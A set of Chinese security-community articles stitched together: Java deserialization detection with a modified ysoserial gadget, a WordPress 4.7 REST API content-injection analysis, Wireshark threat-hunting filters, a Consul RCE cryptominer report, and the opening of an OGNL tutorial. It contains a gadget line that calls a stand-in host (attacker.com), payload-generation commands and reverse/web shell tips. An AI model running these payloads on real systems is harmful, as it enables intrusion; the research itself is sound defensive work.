此刻，JAVA反序列化漏洞正在被厂商和攻击者所熟知。渗透测试人员今后还会遇到这种类型的漏洞。使用当前的一些小工具可以识别出这些漏洞，不过，大多数可用的小工具依赖于命令执行API。由于目标操作系统环境限制条件存在区别，因此，有效载荷的命令在目标系统中执行时，不一定会每次都成功。另外，在目标系统中，载荷所使用的命令也有可能不存在，或者载荷所要求的参数可能因命令的版本或安装的环境而有所不同(以GUN的netcat
VS OpenBSD的netcat为例)。
由于在部分目标系统环境中存在上面提到的关于执行命令的一些限制，要想探测出这些漏洞就需要更多的试验和错误，对于目标，可能需要发送多个有效载荷，这使得自动化探测更加困难。制作一个通用的有效载荷，将会简化大规模反序列化漏洞的探测过程。在介绍我们的扫描方法之前，让我们为“更可靠的有效载荷”定义一个具体的实现目标。
**目标**
1.使有效载荷和具体的操作系统无关，如Windows、Ubuntu、Alpine Linux (Docker)、Solaris、AIX等系统。
2.即使目标的WEB容器运行在安全管理器或沙盒中，也能探测到发生的事情。
3.支持最常见的JVM1.6+版本，和可能的1.5*版本。
[YSoSerial](https://github.com/frohoff/ysoserial)生成的大多数载荷都符合这些条件。
**示例场景**
GoSecure的渗透测试小组遇到过几个需要对当前的小工具(或者称为载荷、组件)做一些修改的案例。例如，发现了一个旧的JBoss实例，并且对外开放了JMXInvokerServlet接口。根据它的版本，我们预计它应该存在可利用的漏洞。但是令人惊讶的是，我们利用所有已知的漏洞测试工具对这个JBoss实例进行测试，但是都失败了。
这些测试工具的失败意味着存在两种可能性：一是这些小工具在这个特定的环境中不起作用，二是目标系统已经打了补丁。然而，我们利用一个简单的有效载荷(就是后面我们创建的DNS解析载荷)做了一个DNS查询，证实了目标系统确实存在相应漏洞。基于这个事实，我们认为，为了避免使用命令执行API，创建一个替代的小工具是有必要的。
**创建一个DNS小工具**
为了确认目标是否存在漏洞，我们将对YSoSerial(frohoff/ysoserial、未修改)的一个已经存在的小工具进行修改。我们将使用一个简单的代码代替命令执行载荷，该代码将触发一个DNS解析。
Ysoserial中最常用的一个有效载荷是“Commons Collection”。其中，“Transformer”链会触发下面的代码：
Transformer链(使用了命令执行载荷)：
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
触发的代码：
((Runtime) Runtime.class.getMethod("getRuntime", new Class[0]).invoke(new Class[]{ Object.class, Object.class},new Object[0])).exec("echo your command here");
上面是未经修改的Ysoserial的代码，为了不使用命令执行API，我们对它进行必要的修改。同时，我们不能使用“nslookup”命令来触发DNS解析，因为我们要避免使用命令执行API。为此，我们将直接使用java
API。
下面是我们修改过的Transformer链(使用了DNS解析载荷)：
new URL("http://resolve-me-aaaa.attacker.com").openConnection().getInputStream().read();
**确认目标是否存在漏洞**
如下图，我们利用Ysoserial(修改过的)生成了一个能解析独特主机名的一个载荷(或者称为配件、小工具)。将载荷发送给目标服务器后，如果服务器处理了任何反序列化，这个独特名称就可以作为追踪的方法。服务器可能会多次评估这个漏洞，或带有一些延时。使用独特主机名可以避免有可能产生的混淆，特别是当扫描多个主机时。在[我们的ysoserial分支](https://github.com/GoSecure/ysoserial)(GoSecure/ysoserial、已修改)中，已经有可用的完整POC代码。如下图，生成载荷：
$ java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections1Dns http://resolve-me-aaaa.attacker.com | xxd
00000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
00000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
00000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
00000030: 696f 6e48 616e 646c 6572 55ca f50f 15cb ionHandlerU.....
00000040: 7ea5 0200 024c 000c 6d65 6d62 6572 5661 ~....L..memberVa
00000050: 6c75 6573 7400 0f4c 6a61 7661 2f75 7469 luest..Ljava/uti
00000060: 6c2f 4d61 703b 4c00 0474 7970 6574 0011 l/Map;L..typet..
00000070: 4c6a 6176 612f 6c61 6e67 2f43 6c61 7373 Ljava/lang/Class
00000080: 3b78 7073 7d00 0000 0100 0d6a 6176 612e ;xps}......java.
00000090: 7574 696c 2e4d 6170 7872 0017 6a61 7661 util.Mapxr..java
000000a0: 2e6c 616e 672e 7265 666c 6563 742e 5072 .lang.reflect.Pr
000000b0: 6f78 79e1 27da 20cc 1043 cb02 0001 4c00 oxy.'. ..C....L.
000000c0: 0168 7400 254c 6a61 7661 2f6c 616e 672f .ht.%Ljava/lang/
000000d0: 7265 666c 6563 742f 496e 766f 6361 7469 reflect/Invocati
000000e0: 6f6e 4861 6e64 6c65 723b 7870 7371 007e onHandler;xpsq.~
[...]
向目标系统发送载荷后，如果在我们配置的DNS服务器上收到了一个相应的DNS查询请求，那么就可以确认目标存在漏洞。为了记录DNS查询请求，我们可以利用很多工具，如
[DNS chef](http://thesprawl.org/projects/dnschef/)，[Burp
Collaborator](https://portswigger.net/burp/help/collaborator.html)或[tcpdump](https://jontai.me/blog/2011/11/monitoring-dns-queries-with-tcpdump/)。在下面的样本中，我们使用DNS Chef来记录查询请求，可以看到DNS查询请求成功到达测试服务器。
# python dnschef.py -q --fakeip 127.0.0.1 -i 0.0.0.0
[*] DNSChef started on interface: 0.0.0.0
[*] Using the following nameservers: 8.8.8.8
[*] Cooking all A replies to point to 127.0.0.1
[12:16:05] 74.125.X.X: cooking the response of type 'A' for resolve-me-aaaa.attacker.com to 127.0.0.1
[12:16:05] 192.221.X.X: cooking the response of type 'A' for resolve-me-aaaa.attacker.com to 127.0.0.1
下图是这种异步扫描方法的直观表示图：
**其他考虑**
一旦确认目标存在漏洞，渗透测试人员为了得到一个SHELL，需要继续做一些试验、或触发一些错误命令。关于这个工作，有一些有用的技巧：
1.确保你已经测试了一些反向SHELL命令(查看[Reverse Shell Cheat-Sheet](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet))。
2.“Common collection”载荷在某些特定的JVM中可能会失败(如IBM J9)。Mathias
Kaiser制作了一个特殊的载荷，支持这个不常见的JVM，[详情请看CommonsCollections6](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections6.java)。
3.如果目标强制执行了一个安全管理器，你可能需要制作一个自定义的小工具。你可以通过“[DEADCODE’s blog
article](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)”去了解transformer链的大致情况。一种流行的方法是找到Web根目录的路径，并编写一个可以稍后执行的web
shell。关于此，[在GoSecure仓库](https://github.com/GoSecure/ysoserial/tree/master/src/main/java/ysoserial/payloads)中有一些样本工具。再说一次，如果目标环境中的安全管理器会阻止命令执行，才会需要这些工具。
**演示视频**
我们创建了一个异步反序列化漏洞扫描工具“[Break Fast Serial](https://github.com/GoSecure/break-fast-serial)”，对DNS
Chef也做了一点修改，下面是该工具的简要演示。演示了对单个目标的扫描。DNS泄漏的信息证明了这个服务器存在反序列化漏洞。该工具还支持对多个IP、端口进行扫描。该扫描器将对JBoss，Weblogic和Jenkins易受攻击的版本进行探测。对于如何配置DNS
Chef服务器、如何生成载荷，及更多其它详细信息，请阅读[参考手册](https://github.com/GoSecure/break-fast-serial#mass-scan)，及相应POC代码。
**结论**
泄漏到DNS的信息有利于以下三个方面：
1.它可以实现反序列化漏洞的探测。
2.它有利于自动扫描多个主机。
3.即使目标服务器存在严格的防火墙限制，它也能识别出存在的漏洞。
我们发布了一款异步的[自动扫描器](https://github.com/GoSecure/break-fast-serial)，该扫描器能对JBoss，Weblogic和Jenkins易受攻击的版本进行探测。今后，我们会有计划的支持其他服务、框架。我们邀请测试者参与到这个开发过程中，这种更广泛和更快的方法，对防御者早期检测出反序列化漏洞很有帮助。
这篇文章主要关注了“CommonsCollection”载荷，但是我们建立小工具所使用的API也适用于其他载荷。同样的规则也适用于探测其他漏洞，如最近出现了[Struts漏洞](https://struts.apache.org/docs/s2-045.html)。
**参考**
[AppSecCali 2015: Marshalling Pickles](https://frohoff.github.io/appseccali-marshalling-pickles/)
[Blind Java Deserialization](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
[Blind-Java-Deserialization-Part-II](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) | 社区文章 |
# 【漏洞预警】Wordpress内容注入漏洞致超67000个网站遭黑产利用
|
##### 译文声明
本文是翻译文章，文章来源：Paper
原文地址：<http://paper.seebug.org/208/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**
**
**受最新WordPress的漏洞影响超过67000个网站被攻击**
如果你的网站使用的是WordPress，并且没有及时更新官方上周发布的补丁，升级到v4.7.2版本，那么你的网站很有可能受到这4个黑客组织的攻击。
据国外Web安全公司Sucuri表示，自上周一该漏洞细节公开后，攻击范围不断扩大，最近每天趋于3000次。
随着时间的推移利用REST API漏洞尝试次数（来源：Sucuri）
攻击者正在利用WordPress的REST
API的漏洞，该漏洞由WordPress团队两个星期前修复并更新补丁，[他们于上周一公开了漏洞详情](https://www.bleepingcomputer.com/news/security/wordpress-team-fixed-a-zero-day-behind-everyones-back-and-told-no-one/)。
攻击者利用这个漏洞精心构造一个向目标站点REST API发起的HTTP请求，可以修改文章的标题和内容。
上周已经有人提供了完整的利用代码。
**超过67,000的网站内容已经被篡改**
即使该漏洞仅影响WordPress4.7.0和4.7.1两个版本而且该CMS内置有自动更新的功能，但仍然有很多网站没有更新。
据Sucuri部署的蜜罐服务器收集到的数据显示，在过去的一周，有四波攻击者正在着手利用这个漏洞。
由于攻击已经持续一段时间了，谷歌已经可以检索一部分被攻击的内容。
通过Google检索被篡改的站点
通过Google搜索"by w4l3XzY3"，可以浏览一些受影响的站点。
部分受影响的站点列表
更多受影响站点可在<http://www.zone-h.org/archive/notifier=w4l3XzY3/page=1>查看。
目前，使用REST API漏洞篡改网站的这些组织只是做了一些知名度的曝光，将网站内文章的标题和正文修改为自己的内容。
其中一个被篡改的站点
Sucuri's CTO, Daniel Cid表示希望看到更专业的内容进入大家的视野，如利用该漏洞发布更复杂的内容，黑链SEO：如插入链接和图像。
利用漏洞做这种篡改的话，做黑链SEO，可以提高其他网站的搜索引擎排名，或者宣传一些其他的非法产品。
当然如果网站内容被篡改为一些恶意内容，会导致网站被搜索引擎屏蔽。
建议所有使用WordPress的网站主及时更新至最新版本v4.7.2。避免由于REST API的安全问题，导致网站被搜索引擎屏蔽。
**原文链接：**<https://www.bleepingcomputer.com/news/security/over-67-000-websites-defaced-via-recently-patched-wordpress-bug/>
**
**
****
**WordPress REST API 内容注入漏洞分析（漏洞分析内容转载自：<http://paper.seebug.org/208/>）**
* * *
**0x00 漏洞简述**
**1\. 漏洞简介**
在REST API自动包含在Wordpress4.7以上的版本，WordPress REST
API提供了一组易于使用的HTTP端点，可以使用户以简单的JSON格式访问网站的数据，包括用户，帖子，分类等。检索或更新数据与发送HTTP请求一样简单。上周，一个由REST
API引起的影响WorePress4.7.0和4.7.1版本的漏洞被披露，该漏洞可以导致WordPress所有文章内容可以未经验证被查看，修改，删除，甚至创建新的文章，危害巨大。
**2\. 漏洞影响版本**
WordPress4.7.0
WordPress4.7.1
**0x01 漏洞复现**
[Seebug](https://www.seebug.org/vuldb/ssvid-92637)上已经给出详细的复现过程，在复现过程中可以使用[已经放出的POC](https://www.exploit-db.com/exploits/41223/)来进行测试。
**0x02 漏洞分析**
其实漏洞发现者已经给出了较为详细的[分析过程](https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html)，接下来说说自己在参考了上面的分析后的一点想法。
**WP REST API**
首先来说一下REST API。
**控制器**
WP-API中采用了控制器概念，为表示自愿端点的类提供了标准模式，所有资源端点都扩展WP_REST_Controller来保证其实现通用方法。
**五种请求**
之后，WP-API还有这么几种请求（也可以想成是功能吧）：
HEAD
GET
POST
PUT
DELETE
以上表示HTTP客户端可能对资源执行的操作类型。
**HTTP客户端**
WordPress本身在WP_HTTP类和相关函数中提供了一个HTTP客户端。用于从另一个访问一个WordPress站点。
**资源**
简单来说，就是文章，页面，评论等。
WP-API允许HTTP客户端对资源执行CRUD操作（创建，读取，更新，删除，这边只展示和漏洞相关的部分）：
GET /wp-json/wp/v2/posts获取帖子的集合：
GET /wp-json/wp/v2/posts/1获取一个ID为1的单独的Post：
可以看到ID为1的文章标题为Hello World，包括文章的路由也有。
**路由**
路由是用于访问端点的“名称”，在URL中使用（在非法情况下可控，就像这个漏洞一样）。
例如，使用URLhttp://example.com/wp-json/wp/v2/posts/123:
路由（route）是wp/v2/posts/123，不包括wp-json，因为wp-json是API本身的基本路径。
这个路由有三个端点：
GET触发一个get_item方法，将post数据返回给客户端。
PUT触发一个update_item方法，使数据更新，并返回更新的发布数据。
DELETE触发delete_item方法，将现在删除的发布数据返回给客户端。
**静态追踪**
知道了WP-API的路由信息以及其操作方式，可以根据其运行的思路来看一下具体实现的代码。
我们看一下/wp-includes/rest-api/endpoints/class-wp-rest-post-controller.php：
根据上面的信息，我们可以知道这是注册controller对象的路由，实现路由中端点方法。
在这里，如果我们向/wp-json/wp/v2/posts/1发送请求，则ID参数将被设置为1：
同时，注意一下这里：
register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[d]+)', array(
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_item' ),
'permission_callback' => array( $this, 'get_item_permissions_check' ),
'args' => $get_item_args,
),
array(
'methods' => WP_REST_Server::EDITABLE,
'callback' => array( $this, 'update_item' ),
'permission_callback' => array( $this, 'update_item_permissions_check' ),
'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
),
array(
'methods' => WP_REST_Server::DELETABLE,
'callback' => array( $this, 'delete_item' ),
'permission_callback' => array( $this, 'delete_item_permissions_check' ),
'args' => array(
'force' => array(
'type' => 'boolean',
'default' => false,
'description' => __( 'Whether to bypass trash and force deletion.' ),
),
),
),
'schema' => array( $this, 'get_public_item_schema' ),
) );
可以看到在register_rest_route中对路由进行了正则限制：
也就是防止攻击者恶意构造ID值，但是我们可以发现$_GET和$_POST值优先于路由正则表达式生成的值：
这边没有找到ID为123hh的项目，所以返回rest_invalid。
现在我们可以忽略路由正则的限制，来传入我们自定义的ID。
接下来在审查各个端点方法中，找到了update_item这个方法，及其权限检查方法update_item_permissions_check：
public function update_item_permissions_check( $request ) {
$post = get_post( $request['id'] );
$post_type = get_post_type_object( $this->post_type );
if ( $post && ! $this->check_update_permission( $post ) ) {
return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this post.' ), array( 'status' => rest_authorization_required_code() ) );
}
if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( $post_type->cap->edit_others_posts ) ) {
return new WP_Error( 'rest_cannot_edit_others', __( 'Sorry, you are not allowed to update posts as this user.' ), array( 'status' => rest_authorization_required_code() ) );
}
if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) ) {
return new WP_Error( 'rest_cannot_assign_sticky', __( 'Sorry, you are not allowed to make posts sticky.' ), array( 'status' => rest_authorization_required_code() ) );
}
if ( ! $this->check_assign_terms_permission( $request ) ) {
return new WP_Error( 'rest_cannot_assign_term', __( 'Sorry, you are not allowed to assign the provided terms.' ), array( 'status' => rest_authorization_required_code() ) );
}
return true;
}
可以看到，此函数通过检查文章是否实际存在，以及我们的用户是否有权限编辑这边文章来验证请求。但是当我们发送一个没有响应文章的ID时，就可以通过权限检查，并允许继续执行对update_item方法的请求。
具体到代码，就是让$post为空，就可以通过权限检查，接下来跟进get_post方法中看一下：
function get_post( $post = null, $output = OBJECT, $filter = 'raw' ) {
if ( empty( $post ) && isset( $GLOBALS['post'] ) )
$post = $GLOBALS['post'];
if ( $post instanceof WP_Post ) {
$_post = $post;
} elseif ( is_object( $post ) ) {
if ( empty( $post->filter ) ) {
$_post = sanitize_post( $post, 'raw' );
$_post = new WP_Post( $_post );
} elseif ( 'raw' == $post->filter ) {
$_post = new WP_Post( $post );
} else {
$_post = WP_Post::get_instance( $post->ID );
}
} else {
$_post = WP_Post::get_instance( $post );
}
if ( ! $_post )
return null;
从代码中可以看出，它是用wp_posts中的get_instance静态方法来获取文章的，跟进wp_posts类，位于/wp-includes/class-wp-post.php中：
public static function get_instance( $post_id ) {
global $wpdb;
if ( ! is_numeric( $post_id ) || $post_id != floor( $post_id ) || ! $post_id ) {
return false;
}
可以看到，当我们传入的ID不是全由数字字符组成的时候，就会返回false，也就是返回一个不存在的文章。从而get_post方法返回null，从而绕过update_item_permissions_check的权限检测。
回头再看一下可执行方法upload_item：
public function update_item( $request ) {
$id = (int) $request['id'];
$post = get_post( $id );
if ( empty( $id ) || empty( $post->ID ) || $this->post_type !== $post->post_type ) {
return new WP_Error( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 404 ) );
}
$post = $this->prepare_item_for_database( $request );
if ( is_wp_error( $post ) ) {
return $post;
}
// convert the post object to an array, otherwise wp_update_post will expect non-escaped input.
$post_id = wp_update_post( wp_slash( (array) $post ), true );
在这边将ID参数装换为一个整数，然后传递给get_post。而PHP类型转换的时候回出现这样的情况：
所以，也就是说，当攻击者发起/wp-json/wp/v2/posts/1?id=1hhh请求时，便是发起了对ID为1的文章的请求。下面为利用[exploit-db][2]上的POC来进行测试：
新建文章：
测试：
测试结果：
**多想了一下**
乍一看，感觉这个洞并没有什么太大的影响，但是仔细想了一下，危害还是很大的。先不说WordPress页面执行php代码的各种插件，还有相当一部分的WordPress文章可以调用短代码的方式来输出特定的内容，以及向日志中添加内容，这是一个思路。
另一个思路就是可以进行对原来文章中的指定超链接进行修改，从而进行钓鱼。
还有一个思路，就是利用WordPress文章中解析html以及JavaScript文件包含的做法，辅助其他方法，进行攻击。
**0x03 diff比较**
对于该漏洞，关键的修改在/wp-includes/class-wp-post.php中：
更改了对于$post_id的参数的传入顺序和判断条件，防止了我们传入数字+字母这样的格式进行绕过。
**0x04 修补方案**
将WordPress更新到最新版本。
**0x05 参考链接**
<https://www.seebug.org/vuldb/ssvid-92637>
<https://www.exploit-db.com/exploits/41223/>
[https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html](https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html) | 社区文章 |
## TL；DR
* 前段时间看了一个介绍wireshark和威胁分析相关的议题（视频演讲和pdf见参考链接），现在抽出点儿时间总结和记录一下。
* 由于工作需要，那段时间搜集和整理了wireshark基本使用和技巧相关资料，但是总感觉不太完整不够深入，直到看到这个议题之后，深深感觉外国佬是真的细，真的强。
## wireshark
### wireshark简述
* wireshark主要用在网络故障排查、协议分析、流量统计、威胁发现等方面，是安全、运维、开发等从业人员必备技能之一。wireshark抓取OSI七层协议所有数据包并根据内置规则进行协议解析为友好可读的数据实时展示给用户，也可保存下来留后分析。此外类似的抓包工具还有tshark和tcpdump，但由于tshark和tcpdump都是没有GUI且不够友好,所以目前使用wireshark的人更多一些。
### 过滤器
* 这里要注意区分一下捕获过滤器和应用显示过滤器，捕获过滤器是有选择性的捕获特定数据包，而应用显示过滤器是在开始抓包之后，过滤显示已经抓到的包。捕获过滤器的优先级更高，它能够避免抓取的数据包过大但也可能会错失一些“重要”数据包。
* 捕获过滤器遵循BPF（Berkeley Packet Filter）语法
例如
host xxx.xxx.xxx.xxx
not ar
net xxx.xxx.xxx.xxx/xx
dst host xxx.xxx.xxx.xxx
port xx
ip
tcp port xx
tcp portrange xx-xx
* 一些恶意软件的捕获过滤器语句
Blasater Worm:
• dst port 135 and tcp port 135 and ip[2:2]==48
Welchia Worm:
• icmp[icmptype]==icmp-echo and ip[2:2]==92 and icmp[8:4]==0xAAAAAAAA
Looking for worms calling C2s:
• dst port 135 or dst port 445 or dst port 1433 and tcp[tcpflags] & (tcp-syn)
!= 0 and tcp[tcpflags] & (tcp-ack) = 0 and src net 192.168.0.0/24
Heartbleed Exploit:
• tcp src port 443 and (tcp[((tcp[12] & 0xF0) >> 4 ) _4] = 0x18) and
(tcp[((tcp[12] & 0xF0) >> 4 ) _ 4 + 1] = 0x03) and (tcp[((tcp[12] & 0xF0) >> 4
) _4 + 2] < 0x04) and ((ip[2:2] - 4 _ (ip[0] & 0x0F) - 4 * ((tcp[12] & 0xF0)
>> 4) > 69))
* 应用显示过滤器常用语法
• ICMP traffic: icmp
• Source or Destination IP: ip.addr==[x.x.x.x]
• Source IP: ip.src==[x.x.x.x/x]
• Windows Services: smb || nbns || dcerpc || nbss || dns
• Filter out noise: !(arp or icmp or dns)
• Search exact ASCII text in TCP packets: tcp contains [blah]
### wireshark导出对象
* wireshark导出对象功能可以导出压缩包、图片、二进制文件等，打过ctf的可能使用过这个技巧。这里不做展开介绍。
### wireshark个人配置
* 常见的软件一般都有个人配置的功能，wireshark也一样，你可以定制显示颜色规则、显示的列、对不同协议的定制等等。
* 这里重点关注一下定制化显示不同的列，wireshark默认只是显示包编号、时间戳、源ip、目的ip、协议、数据包长度、数据包简要信息，但我们可以根据不同的需求进行定制.
例如我们可以显示端口的信息。
* 友好的显示时间
* 导出个人配置，可以讲自己常用的配置保存下来移植到其它电脑或者分享给他人。
* 将协议中的某个字段设置为列（也可以将某个字段设置为过滤器）
* 显示ip地址归属地 可参考[How To Use GeoIP With Wireshark](https://wiki.wireshark.org/HowToUseGeoIP)
### wireshark协议统计和分析
* 这里主要能够看到抓包的一些属性（时间、大小等）还有流量中协议的分级占比、以及通信时长等信息。
### 小问题
* 不知道大家有没有遇到并思考过这样一个问题，就是我明明通过无线连接的网络，但使用wireshark抓包抓到的是ethernet协议数据包，而不是802.11协议的数据包，这是因为操作系统或网卡驱动程序已经把802.11 转换成以太网协议了，当然你也设置成抓到802.11协议，这个时候需要修改捕获接口选项为监控模式。
* 参考链接
* [why-do-i-see-ethernet-ii-protocol-in-wireshark-in-wireless-connection](https://superuser.com/questions/1242454/why-do-i-see-ethernet-ii-protocol-in-wireshark-in-wireless-connection)
* [promiscuous-vs-monitoring-mode-d603601f5fa](https://medium.com/debookee/promiscuous-vs-monitoring-mode-d603601f5fa)
## 威胁分析
### 基础协议
* 在分析威胁之前首先应该先了解一些基础的协议流量特征例如icmp、snmp、telnet、ssh、smb等，这里议题作者已经专门制作好了，大家可以去下载并熟悉相应协议的结构和流量的特征。
### 在线流量分析
* [cloudshark](https://cloudshark.io/) 在线分析流量，高亮显示恶意流量和行为，30天试用期
* [PacketTotal](https://packettotal.com/) 在线分析流量，高亮显示恶意流量和行为，免费使用
* [NetworkMiner工具](NetworkMiner) 图形化界面流量分析工具，有免费和收费版本
* [malware-traffic-analysis.net](http://malware-traffic-analysis.net/) 1300+恶意软件流量样本，由著名防火墙palo alto公司威胁狩猎团队维护
* 此外还有一些其它有用的链接
<https://github.com/Security-Onion-Solutions/security-onion/wiki/Pcaps>
<https://wiki.wireshark.org/Tools>
<https://wiki.wireshark.org/SampleCaptures>
### 恶意样本分析
* 恶意样本分析有如下的网站资源
• VirusTotal
• Hybrid-Analysis
• Malwr
• Reverse.it
• Cuckoosandbox (on-prem)
### IOC
* Indicators of Compromise ，可以理解为拥有某个特征之后就可以被打标记为某个恶意软件了，这个特征可能是url、ip、样本的哈希值等。
### 实战分析
* 在作者议题中作者提供了几个非常精彩的威胁分析实验场景，其中包括imcp隧道、netcat文件传输、netcat反连shell、数据泄漏、勒索软件、供应链攻击等。感兴趣的话大家可以去下载并进行练习。
* 当然我这里只是对议题进行简单总结概括，如果感兴趣的话大家可以去看一下Reference链接里原作者的视频和课件。
最后如果你有一些更好的trick欢迎留言XD
## Reference
[议题介绍](https://www.meetup.com/Santa-Barbara-OWASP-Chapter/events/269632100/)
[议题资料下载](https://drive.google.com/drive/folders/1HKQCOBlPsqAC1JpRN40kc_Z8hOWcftm1?usp=sharing) | 社区文章 |
# 利用Consul RCE漏洞传播的挖矿木马分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者: Ksh0m、imbeee @360sglab
## 简述
在2018年11月，360观星实验室接到某客户Linux服务器挖矿，发现这是一起通过consul服务（一种配置管理云平台的分布式服务，默认开启端口8500）的RCE漏洞进行传播和植入的挖矿恶意木马，该木马会下载到/var/tmp目录下并命名为systemd-xxxx，并上传用户信息，而控制的CC隐藏在Tor网络。无独有偶，近日观星实验室又捕获到类似样本，发现黑客更新了域名和样本信息
## 事件分析
旧的恶意样本位于/var/tmp目录下名称为systemd-check，新的恶意样本位于/tmp目录下命名为systemd-login，基本信息如下
截止3月21日，VT记录上还未有杀软引擎报毒
黑客的攻击手法是扫描暴露在公网的Consul的8500端口，利用Consul
RCE漏洞注册执行脚本，并通过常见服务器运维工具如ansible、salt或knife下发恶意代码执行，注册脚本如下：
或
黑客将CC隐藏在Tor网络中，并通过tor2web.io等暗网反向代理服务来使被攻击的机器正常访问，拉取恶意文件sytemd-check并执行后取消其注册在Consul上的脚本
## 样本分析
systemd-login(elf64)
原始样本被加了UPX 壳，脱壳后，其主要流程如下
样本首先检测LD_PRELOAD变量
并将恶意文件移动到/lib/systemd/systemd-login和~/.systemd-login
并将pid写入到/tmp/.X1M-unix防止重复感染
随后执行一段内置的Base64编码的脚本
此段代码功能如下
* 将用户信息拼接成字符串并base64编码后，作为refer访问CC的/slave外带数据，目前请求该uri为404，猜测通过其访问日志来记录信息
* 向cc请求/systemd-resolve文件并下载到/tmp目录，该文件目前不存在
* 通过ansible、salt或knife工具执行如下代码
这段循环同样是执行内置的Base64编码脚本文件
第一段是写入计划任务
第二段是清理其它挖矿进程
第三段是下载systemd-analyze文件到/tmp/.systemd-analyze，目前该文件不存在
第四段是恶意文件更新的脚本
第五段脚本功能与第四段相同
systemd-check(elf32)
与systemd-login流程类似，函数执行顺序如图所示
## 处置方法
1. 升级Consul版本，且不要将服务暴露在公网
2. 停止恶意进程并清理相关计划任务及文件
## IOC
9B6A6282B47D9E7F067309AFEF9DEBF0
57B4EF04FBB773B3661287D5A2B3688E | 社区文章 |
## 0x00 前言
前段时间出现的Confluence OGNL漏洞（CVE-2021-26084）引起了我对Java
OGNL表达式注入的兴趣，当时没有时间立刻研究，近期又捡起来学习和分析，用了近半月整理了本文，如有不当之处，还请批评指正。
## 0x01 OGNL是什么？
先来看一个例子:
Class SchoolMaster{
String name = "wanghua";
}
Class School
{
String name = "tsinghua";
SchoolMaster schoolMaster;
}
Class Student
{
String name = "xiaoming";
School school;
}
创建实例学校`school = new School()`、学生`student = new Student()`和校长`schoolMaster =
new SchoolMaster()`，将学校校长指定为`schoolMaster`实例-`school.schoolMaster =
schoolMaster`，学生的学校指定为`school`实例-`student.school =
school`，那么三者就连接起来了形成了一个对象图，对象图基本可以理解为对象之间的依赖图。通过对象图我们可以获取到对象的属性甚至对象的方法。
那么OGNL就是实现对象图导航语言，全称Object-Graph Navigation Language。通过它我们可以存取 Java对象的任意属性、调用
Java 对象的方法以及实现类型转换等。
## 0x02 OGNL三元素
OGNL基本使用方法示例：
// 创建Student对象
School school = new School();
school.setName("tsinghua");
school.setSchoolMaster(new SchoolMaster("wanghua"));
Student student1 = new Student();
student1.setName("xiaoming");
student1.setSchool(school);
Student student2 = new Student();
student2.setName("zhangsan");
student2.setSchool(school);
// 创建上下文环境
OgnlContext context = new OgnlContext();
// 设置跟对象root
context.setRoot(student1);
context.put("student2", student2);
// 获取ognl的root相关值
Object name1 = Ognl.getValue("name", context, context.getRoot());
Object school1 = Ognl.getValue("school.name", context, context.getRoot());
Object schoolMaster1 = Ognl.getValue("school.schoolMaster.name", context, context.getRoot());
System.out.println(name1 + ":学校-" + school1 + ",校长-"+schoolMaster1);
// 获取ognl非root相关值
Object name2 = Ognl.getValue("#student2.name", context, context.getRoot());
Object school2 = Ognl.getValue("#student2.school.name", context, context.getRoot());
Object schoolMaster2 = Ognl.getValue("#student2.school.schoolMaster.name", context, context.getRoot());
System.out.println(name2 + ":学校-" + school2 + ",校长-"+schoolMaster2);
输出结果：
xiaoming:学校-tsinghua,校长-wanghua
zhangsan:学校-tsinghua,校长-wanghua
不难看出，OGNL getValue需要三元素：expression表达式、context上下文及root对象。那么什么是三元素：
> expression表达式：表达式是整个OGNL的核心，通过表达式来告诉OGNL需要执行什么操作；
> root根对象：OGNL的Root对象可以理解为OGNL的操作对象。当OGNL通过表达式规定了“干什么”以后，还需要指定对谁进行操作；
>
> context上下文对象：context以MAP的结构、利用键值对关系来描述对象中的属性以及值，称之为OgnlContext，可以理解为对象运行的上下文环境，其实就是规定OGNL的操作在哪里。
在上面示例中，根对象是student1实例，context中设置了根对象和非根对象student2，表达式有`name`、`school.name`、`school.schoolMaster.name`和`student2.name`、`#student2.school.name`、`student2.school.schoolMaster.name`，前三个是通过表达式获取root也就是student1对象的相关属性，后三个是通过表达式获取容器变量student2对象的相关属性。
## 0x03 OGNL表达式语法
### 符号的使用：
在上一部分我们已经接触了`.`和`#`符号在表达式中的使用，通过`.`可以获取对象属性，`#`可以获取非root的Student对象。
OGNL表达式支持Java基本运算，所以运算符`+`、`-`、`*`、`/`、`%`等在OGNL都是支持的，另外还支持`in`、`eq`、`gt`等。
除了基本运算符，`.`、`@`、`#`在OGNL中都有特殊含义。
1、通过`.`获取对象的属性或方法：
student
student.name
student.school
student.school.name
student.takingClasses("英语")
2、三种类型对象的获取：
静态对象、静态方法和静态变量：`@`
@java.lang.System@getProperty("user.dir")
@java.lang.Math@abs(-111)
非原生类型对象：`#`
#student.name
#student.takingClasses("英语")
简单对象：直接获取
"string".lenth
5
true
